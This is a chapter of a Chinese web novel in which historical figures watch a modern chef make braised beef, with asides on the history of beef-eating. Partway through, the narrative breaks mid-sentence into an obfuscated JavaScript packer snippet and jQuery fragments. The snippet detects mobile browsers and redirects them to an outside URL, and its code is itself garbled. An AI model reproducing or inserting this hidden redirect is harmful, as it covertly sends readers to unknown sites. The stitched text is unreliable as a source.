過他自己。
剝玉米神器的外表很簡單，內部一個鐵圈，外部一個塑料殼，隻需要把玉米從鐵圈內穿過來回轉動就可以使玉米粒脫落。
劉姨剛才已經把大碴子粥煮好了，現在放了紅糖在那邊涼著，看他們用剝玉米神器不由得和廚師長感歎，還是現在的日子好過。
“連剝玉米都有一個專門的東西，我們小時候每年收玉米，剝玉米剝的手指甲縫都開裂，那個時候拿乾的苞穀棒子互相蹭都覺得省力不少，後來有個玉米刮子才算是解放了。”
但也沒這個小東西好用。
廚師長深以為然：“那要不然說讀書改變命運，讀書人的腦袋都好使，就是得讓孩子去讀書，然後才能發明東西。”
李白幾人一邊脫玉米一邊豎起耳朵聽他們談話，對於他們來說，後世之人所說的每一句話都那麼新奇有趣。
原來他們也不是一開始就有輕便的方法，也是慢慢改變的。
讀書，這個被老百姓在口中念叨了千百年的字眼，卻在後世真正普及了。
讀書改變命運，誰不知道呢，可在古代並不是人不想讀書，而是人讀不起書。
隻是為何要說是讀書的人發明東西呢？
幾人不太理解，那不是工匠所做的活計嗎，和讀書有什麼關係？
*
總之，把蔬菜都處理好送入烘乾機後，他們就要開始熬肉醬了。
“都自家人吃，肉保證能像廣告上那麼大塊。”農家樂自己就有養豬場，養雞場，所以平時吃的雞和豬都是現宰現吃，保證新鮮度，就算一頓吃不完放冰箱，也能保證在最新鮮的時候就凍起來的。
可農家樂沒有養牛場，因為牛要比豬難養一些，養殖周期也長，牛懷胎十月一胎一頭，可豬懷胎四月一胎一窩。
而且農家樂養豬是為了吃到高品質的豬，可養牛又有哪個地方牛的品質能夠比大草原上散養天天吃草的牛品質更好呢。
所以一是不劃算，還要請專人去負責，二是沒必要。
所以隻定期從科爾沁采購冷鮮運輸的牛肉。
聽到廚師長的解釋，幾人相視而望，不可思議卻又覺得不愧是物資豐饒的後世。
連牛也不再作為耕地的主力軍，而被宰殺來吃了嗎？
牛肉
在現代是一個經常出現在人們餐桌上的美食，但其實在漫長的古代曆史中，牛都是不允許被宰殺來吃的。
主要原因就是為了耕地。
一頭牛在有些時候甚至是一個家族或者一個村莊最為寶貴的資產，甚至要比老人或者小孩都值錢的多。
但也並不是絕對吃不到牛肉，要不然也不會出現在電視劇中，會有一位大俠隨手甩出一枚銀子後，讓店小二給他上一壺好酒，再上一盤鹵牛肉了。
因為正常死亡的牛肉是可以吃的，隻需要上報官府，在官府批準後就可以食用或售賣。
當然，有人的地方就有江湖，肯定也會有人想為了這一口美食，所以偷偷宰殺耕牛，在各個朝代都屢見不鮮。
比如唐朝的程咬金家，他莊子的牛經常摔死，病死，死亡率高得出奇。
宋朝的時候更是屢禁不止，因為當時一頭牛的牛肉價格要比耕牛貴得多，不少人便會偷偷把耕牛殺了當做老死的牛肉去賣，宋真宗時期，很多地方吃牛肉已經形成風氣，比如浙江甚至‘以牛肉為上味，競相屠宰’。
所以在北宋時期，因遏製不住宰牛風尚，有些地方官府便隻能加收‘宰牛稅’，可也無濟於事。
不過這種牛肉交易始終不光明正
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201752|134385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
大，所以像是《水滸傳》或各類古代電視劇中的大俠，為何會要牛肉，而不是豬肉或羊肉又或者是雞肉，就是為了刻畫他們的形象。
因為在當時出門去店裡吃牛肉的人，絕不是社會上層，因為達官顯貴，自己家中便有牛肉，隻需找借口稱牛病死即可，也不是普通百姓，因為牛肉不便宜，並且因為這種並不光明正大的交易，所以售賣牛肉的店鋪一般都開在人跡罕至的地方，本分老實的老百姓一般不會花大價錢專門去吃一頓牛肉。
隻幾人沒想到，在後世吃牛肉不僅是一件無比正常的事，甚至還要挑剔牛肉的品質，牛肉的產地，牛生前吃的是乾草還是牧草。
“也算是讓我今日長了見識了。
有的時候最震撼人的反而不是和他們日常相處相差過大的地方，比如電視或飛機，因為沒有這個概念，隻覺得神奇。
最能讓他們體會到時代不同的反而是這種平日裡充斥他們生活，平日裡就存在的東西。
康熙覺得後世的人很識貨，科
爾沁的牛肉的確數一數二。
而且他想吃來自草原的牛肉，都要先把牛拉過來再進行宰殺，但後世聽著像是在草原就宰殺好，然後把肉運過來。
真是比不少大官吃的都好。
徐雪筠自己一個人實在是串不好玉米，已經偷偷喊劉姨過去幫她串了。
之前她可放言說了自己烤的玉米很好吃的，不能這麼快就打臉啊。
牛肉的做法，家家戶戶其實都沒什麼特彆大的區彆，隻是大料的配比又或者是調料的配比不同而已。
“牛肉最好選擇牛肋條肉，吃著要比牛腱子肉更嫩更軟，切成兩厘米大的正方塊。”廚師長現在已經知道怎麼教他們了，講的十分細致，“我們這牛肉比較新鮮，可以直接下鍋焯水，不用放料酒。”
料酒在我國其實也有非常久遠的曆史，隻是以前的料酒和現在的料酒不太一樣，料酒在以前是所有烹飪酒類的統稱，比如黃酒，白酒，汾酒等都可以叫做料酒。
所以對於這一部分，無論是李白幾人，又或者是豎著耳朵聽做法的各朝代大廚們都沒有太大的疑問。
廚師長焯完水後就把牛肉撈了出來：“牛肉湯把浮沫撇一撇，不要扔，放在一邊等會兒還能用得上。”
接著他換了一個炒鍋，往裡麵倒油：“這個油一開始不用倒太多，因為這一步主要是要炒糖色，淺淺的能把鍋底蓋住就行。”
他加了三大把冰糖，一邊加一邊解釋：“炒完糖色之後這個糖它就沒有這麼甜了，比平時直接兌水喝要淡得多，我們的肉又多，所以糖得加多一點。”
“紅燒的肉漂不漂亮，就看糖色炒的怎麼樣。”
廚師長順便還講了一下炒糖的幾種糖的形態，有紅燒的糖色，白霜花生的白霜，拔絲地瓜的拔絲，還有冰糖葫蘆的脆皮。
“不過我們是用油炒的，所以隻能做糖色，上麵說的那幾種都得用水炒。”
他一邊說，各朝代的廚師就一邊記。
要知道，在古代可沒有那麼多書，大家都是口口相傳，想要真正的學會一門技藝，就得找個願意教你的師傅。
木匠，廚師或者醫生都是這樣，越是講究經驗的職業，他們的經驗就越寶貴，也越不願意輕易漏於人前。
殊不知後世隨便搜個紅燒牛
肉就能出來幾百幾千個教程。
炒完糖色就可以放牛肉進去翻炒了。
把牛肉到鍋裡的時候，因為還有點水氣，在接觸到鍋邊的時候呲啦一聲，杜甫幾人倒是沒嚇住，把旁邊鬼鬼祟祟串玉米的徐雪筠給嚇了一跳。
而到這個時候。
“好香啊。”
沒錯，到這個時候空氣中就已經到處都彌漫著牛肉的香氣了，混合著油脂和蜜糖，純粹的食物香。
廚師長很喜歡自己的廚藝被誇獎，笑的可開心了：“你們學會了，自己回家做也能這麼香，這紅燒牛肉配個米飯配個麵配個饅頭都好吃，而且不光是紅燒牛肉，你們這是把整個紅燒的菜都學會了，到回去做紅燒肉，紅燒羊肉，紅燒土豆，紅燒虎皮雞蛋，紅燒茄子都行。”
“我們選的牛肉是牛肋條，脂肪比較少，所以等會還可以放點油，如果用的是牛腩，就可以省去這一步了。”
接著就可以把剛才濾出來的牛肉湯倒回去了。
廚師長叮囑：“就算不用剛才的牛肉湯，也千萬記住不能往裡加冷水，這一加冷水照我師傅的話說，肉就死了，燉再久也不好吃。”
然後再加上廚師長自己配的大料包。
廚師長打開了一個給他們看裡麵都是什麼大料：“桂皮八角花椒是少不了的，剩下的就看家裡有什麼，有什麼咱就放什麼，就算差點味，等會那醬油一放，味精一撒，說實話也吃不出來。”
這話說的也太實誠了。
手機被徐雪筠架在了旁邊，現在沒人管它，各朝代觀看天幕的廚師恨不得站起來去挪手機。
就算一般人吃不出來，但隻要他們掌握了配方，加裡邊那總能有吃出來的人。
但這個攝像頭對準的是切菜的地方和灶台，根本就看不清楚料包裡麵有什麼。
“要是家裡有的，還可以放點陳皮，一是增添風味，二是可以讓肉更好更快的軟爛，不過小筠不愛吃這個，我就沒放。”
廚師長想了一下，覺得可能大部分人家裡都沒有陳皮，所以又補充了一句：“捏三分之一個獼猴桃在剛開始的時候把肉醃一下，或者是滴幾滴香醋進去也是一樣的效果，獼猴桃是天然的嫩肉粉，香醋和陳皮是一樣的效果，不過要記得把香醋滴進去之後不能急著蓋，鍋蓋一蓋，那個醋味就給悶進去了，得敞著蓋讓醋味揮發一下，這樣才能又嫩肉又不影響紅燒的味道。”
這可真是傾囊相授了，半點兒都沒藏私。
杜甫聽完，覺得自己又行了。
作者有話要說
感謝在2024-08-0100:00:58~2024-08-0200:16:16期間為我投出霸王票或灌溉營養液的小天使哦~
感謝投出地雷的小天使：子離1個；
感謝灌溉營養液的小天使：自由的風、子離、小貓咪為什麼這麼可愛10瓶；夢中人6瓶；海鮮蘑菇泡麵、米粒兒、香妮5瓶；wuli萌萌噠兔紙、Sunshine_ZHYU2瓶；聰花、朱朱寶寶吖1瓶；
非常感謝大家對我的支持，我會繼續努力的！